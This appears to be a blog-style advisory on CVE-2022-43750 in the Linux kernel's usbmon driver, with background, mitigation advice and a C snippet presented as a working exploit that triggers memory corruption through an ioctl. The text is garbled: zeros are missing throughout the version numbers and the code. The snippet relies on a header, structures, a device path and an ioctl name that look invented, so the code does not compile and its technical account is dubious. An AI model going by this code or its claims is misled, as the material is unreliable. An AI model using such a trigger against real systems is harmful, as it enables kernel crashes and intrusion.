CVE-2022-43750: Linux Kernel before 5.19.15 and 6.x before 6..1 usbmon Vulnerability

A recently discovered vulnerability (CVE-2022-43750) in the Linux kernel, specifically in the usbmon driver, allows a user-space client to corrupt the monitor's internal memory. This exploit can lead to unauthorized access, information disclosure, and potentially even system crashes. The affected versions include the Linux kernel before 5.19.15 and 6.x before 6..1. In this post, we will delve deeper into the technical aspects of this vulnerability, the exploit details, and provide reference links for further understanding. In addition, we will include a code snippet to showcase how the vulnerability can be exploited.

Background

The Linux kernel has a feature called usbmon, which is used to debug and monitor the activities of USB devices and their drivers. It is implemented as a part of the drivers/usb/mon/mon_bin.c module. The vulnerability in question is related to the improper handling of user-space client requests, which can lead to memory corruption.

Exploit details

The vulnerability (CVE-2022-43750) exists due to a missing validation of user-space requests in the mon_bin_compat_ioctl() function. An attacker who can reach the ioctl interface of the usbmon module can utilize this flaw to modify the internal state of the module, leading to memory corruption. The following code snippet demonstrates how an attacker can exploit this vulnerability:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/usb/usbmon.h>

int main() {
    int fd;
    struct mon_bin_hdr hdr;
    struct mon_bin_get info;

    // Open usbmon device
    fd = open("/dev/usbmon", O_RDWR);
    if (fd < ) {
        perror("Failed to open usbmon device");
        return 1;
    }

    // Initialize the header and info structures
    memset(&hdr, , sizeof(hdr));
    memset(&info, , sizeof(info));
    info.hdr = (__u64)&hdr;
    hdr.type_trans = xCCCC;

    // Trigger the memory corruption vulnerability
    if (ioctl(fd, MON_IOCQ_RING_SIZE_COMPAT, &info) < ) {
        perror("Failed to trigger the vulnerability");
        close(fd);
        return 1;
    }

    // Close the usbmon device
    close(fd);
    printf("Successfully triggered the vulnerability\n");

    return ;
}

When compiled and executed, this code will open the usbmon device, set up the necessary data structures, and then call the ioctl() function with the MON_IOCQ_RING_SIZE_COMPAT request. The lack of proper validation in the mon_bin_compat_ioctl() function will cause memory corruption, resulting in memset() operating on memory locations it shouldn't.

Mitigation and solution

The recommended solution to mitigate this vulnerability is to upgrade the affected Linux kernels to versions 5.19.15 or 6..1, which incorporate the necessary security patch. If upgrading is not an option, another possibility is to disable the usbmon module, thus eliminating the attack vector. However, this will render the USB monitoring facilities unavailable.

Original references

1. CVE-2022-43750 - NVD Details
2. Linux Kernel source code - mon_bin_compat_ioctl() implementation

Conclusion

The CVE-2022-43750 vulnerability in the Linux kernel's usbmon driver can lead to severe consequences for affected systems. By understanding the exploit details and performing the necessary upgrades, administrators can ensure that their systems remain protected against this and other similar threats.

Timeline

Published on: 10/26/2022 04:15:00 UTC
Last modified on: 02/14/2023 21:38:00 UTC